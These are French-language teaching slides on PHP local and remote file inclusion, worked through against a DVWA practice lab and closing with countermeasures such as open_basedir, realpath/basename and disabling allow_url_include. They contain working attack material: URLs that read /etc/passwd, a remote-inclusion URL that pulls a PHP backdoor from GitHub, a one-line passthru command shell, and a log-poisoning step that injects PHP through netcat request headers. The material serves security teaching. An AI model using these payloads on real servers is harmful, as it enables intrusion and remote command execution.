# File Inclusion ## aka LFI / RFI ## File Inclusion * paramètres HTTP non filtrés ```php include($_REQUEST['filename']); ``` * permet * d'exécuter du code distant * d'exécuter du code localement * accéder à des fichiers locaux sensibles * concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php) ## Local File Inclusion (LFI) ### [security low](http://dv.wa/vulnerabilities/fi/?page=include.php) * souvent appelé **Directory traversal** * permet d'accéder à des fichiers sensibles * [http://dv.wa/vulnerabilities/fi/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd) * marche aussi avec /etc/hosts, ~/.bashrc, ~/.bash_history ... * marche pas avec /etc/shadow Note: - open base dir - pas ou mal configiuré - par défaut ispconfig - anciennement safe_mode ### fichiers sytèmes connus * fichiers systèmes génériques * c:\boot.ini, c:\windows, c:\windows\system32\drivers\etc\hosts * /etc/passwd * utilisé des paths absolus * utilisé des paths relatifs (../.. ou ..\\..) * windows * les sevrices tournent souvent en administrateur * linux * services en root * threads avec utlisateur sans privilege Note: - pas de troll sur windows - stackoverflow fonctionne en .net - microsoft a ouvert de nombreux projets - les path en pahse de détection sont d'un grand secours pour comprendre l'organisation du filesystem ### fonction de l'architecture du code * charger la page appelée * [http://dv.wa/vulnerabilities/fi/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php) * boucle infinie = ca marche * invalider par (include|require)_once ### fonction de l'architecture du code * dossier d'inclusion dynamique de fichier * paramètres d'url full path * ?config=../template.htm * paramètres d'url obfusqué * ?config=site ```php include "config/".$config.".php"; ``` * [url rewriting](https://www.webrankinfo.com/dossiers/techniques/tutoriel-url-rewriting) à prendre en compte [http://dum.my/config.php?config=conf.inc](http://dum.my/config.php?config=conf.inc%00) Note: - magic_quote_gpc doit être disabled - supprimé de la version 5.4.0 - pas maquettée on une 5.4.41 sur debian - code source inclu interprété ou pas - pas toujours évident à savoir - bien comprendre le contexte - importance des paths collecter à l'étape de détection - exploitable via http://mutillid.ae https://www.youtube.com/watch?v=t8w6Bd5zxbU - textfile passé en post à intercepter avec burp - bon exercice ## Remote File Inclusion (RFI) * inclusion de code arbitraire * Backdoor ou Remote shell * dépend de la configuration de php * par défaut ```ini ; Whether to allow include/require to open URLs (like http:// or ftp://) as files. ; http://php.net/allow-url-include allow_url_include=Off ``` * à On pour les besoins du TP * certains produits PHP nécessitent cette option ### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php) Approche artisanale ```php $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ``` Note: - discuter la surcharge du php.ini via .htaccess - solution ispconfig - on reste bien sur security low pour que ca marche ## Backdoor * basiquement permet d'exécuter du code et / ou des commandes systèmes * version artisanale ```php echo passthru($_GET['cmd']); ``` * version plus robuste * [<i class='fa fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor) * [r57shell.net](http://www.r57shell.net/) ## remote raw backdoor <small>[http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php)</small> ### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> <small> [http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls)</small> ### <i class="fa fa-thumbs-o-down" aria-hidden="true"></i> <small> [http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) </small> ### <i class="fa fa-thumbs-o-up" aria-hidden="true"></i> ### [security medium](http://dv.wa/vulnerabilities/fi/?page=include.php) #### log poisoning * ne nécessite aucun accès en écriture sur le système de fichier * nécessite une mauvaise configuration des permissions sur les logs (custom logs) * [exploitable avec les logs ssh, apache, mysql](http://oleaass.com/file-inclusion-log-poisoning-to-code-execution/) dans `/etc/apache2/sites-enabled/dvwa` ```ìni CustomLog /home/mazenovi/logs/dvwa-access.log combined ``` #### log poisoning * l'utilisateur lié au thread apache a accès en lecture à ce répertoire <small> [http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.lo) </small> * les logs sont affichés Note: - j'ai volontairement configuré les logs dans un endroit non sécurisé pour que ca marche - pour des facilités de lectures ou d'archivage ca poeut êtyre une idée (mauvaise) - lien symbolique doit marcher ausssi ## injection de la backdoor * netcat (aka nc) permetd'ouvrir des connexions UDP ou TCP ```shell $ nc dv.wa 80 ``` * Entrer manuellement les paramètres suivant ```http GET /<?php echo passthru($_GET['cmd']); ?> HTTP/1.1 Host: dv.wa Referer: <?php echo passthru($_GET['cmd2']); ?> User-Agent: <?php echo passthru($_GET['cmd3']); ?> ``` <small> [http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls](http://dv.wa/vulnerabilities/fi/?page=/home/mazenovi/logs/dvwa-access.log&cmd=ls) </small> attendre le log rotate en cas d'échec Note: - notez que les .log ne sont pas associés à l'interpréteur PHP au niveau d'apache - c'est le include qui interprète gentiment ce qui est entre <?php ... ?> - attention c'est un one shot - > /home/mazenovi/logs/dvwa-access.log pour bien voir - > /home/mazenovi/logs/dvwa-error.log pour bien voir - ctrl + f "help" pour trouver les rep listés on est dans - /var/www/dvwa/vulnerabilities/fi/ ## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php) * Quand safe mode est actif, PHP vérifie que le propriétaire du script courant est le même que le propriétaire des fichiers ou dossiers qui seront manipulés par ce script. ```shell -rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php -rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd ``` ```php readfile('/etc/passwd'); ``` ```shell Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2 ``` ## PHP [safe mode](http://php.net/manual/fr/ini.sect.safe-mode.php) * senser résoudre le problème du partage de PHP en environnement mutualisé * déprécié en 5.3 * supprimé depuis 5.4 * approche non réaliste * ce n'est pas à PHP de régler ce problème * [safe_mode_gid](http://php.net/manual/fr/ini.sect.safe-mode.php#ini.safe-mode-gid) permet d'élargir au groupe s'il est activé ## [suPHP](http://www.suphp.org/Home.html) * executing PHP scripts with the permissions of their owners * Apache module (mod_suphp) * setuid root binary (suphp) * called by the Apache module to change the uid of the process executing the PHP interpreter * rien ne doit être en chmod 777 * reporté comme erreur abandonné depuis 2013 ## [suExec](http://httpd.apache.org/docs/2.4/fr/suexec.html) * Au niveau d'Apache * exécution des programmes CGI et SSI (Server Side Inclusion) * utilisateur autre que celui par défaut d'apache Note: - bien pour le multi hosting notamment - chacun ne peut ruiner que son périmètre - Utilisée de manière appropriée - réduit considérablement les risques de sécurité - les deux sont déconseillés car ils se basent sur des mod PHP peu performant par rapport à PHP-FPM ## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php) * le chemin vers le fichier est analysé * si le fichier est à l'extérieur des dossiers spécifiés * PHP refuse d'y accéder * les liens symboliques sont résolus * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique ## [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * **.** inclue le fichier lui-même * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php) * valeur typique ```ini /var/www/:/usr/share/php:/tmp ``` Note: - utilisé et configuré en automatique dans ISPConfig - on peut désactiver chdir ... ## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) * realpath() * converti tous les *.* et **..** en path absolue * retourne null pour un path inexistant * basename() * extrait la partie contenant le nom du dossier précédant directement le nom du fichier * 2 fonctions qui combinées évitent les directory traversal ## [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) ```php $username = $_GET['user']; $filename = "/home/users/".$username; readfile($filename); ``` peut être sécurisé via realpath() et basename() ```php $username = basename(realpath($_GET['user'])); $filename = "/home/users/".$username; readfile($filename); ``` ne préserve pas d'une LFI dans le même répertoire ## <i class="fa fa-medkit"></i> Se préserver * filtrer ses entrées * avec realpath() et basename() * par listes blanches * déscativer allow_url_include * utiliser l'open_base_dir ## <i class="fa fa-medkit"></i> Se préserver * désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm)) * faire attention aux permissions des logs notamment en lecture * écriture forcément autoriser pour l'utilisateur qui fait tourner le serveur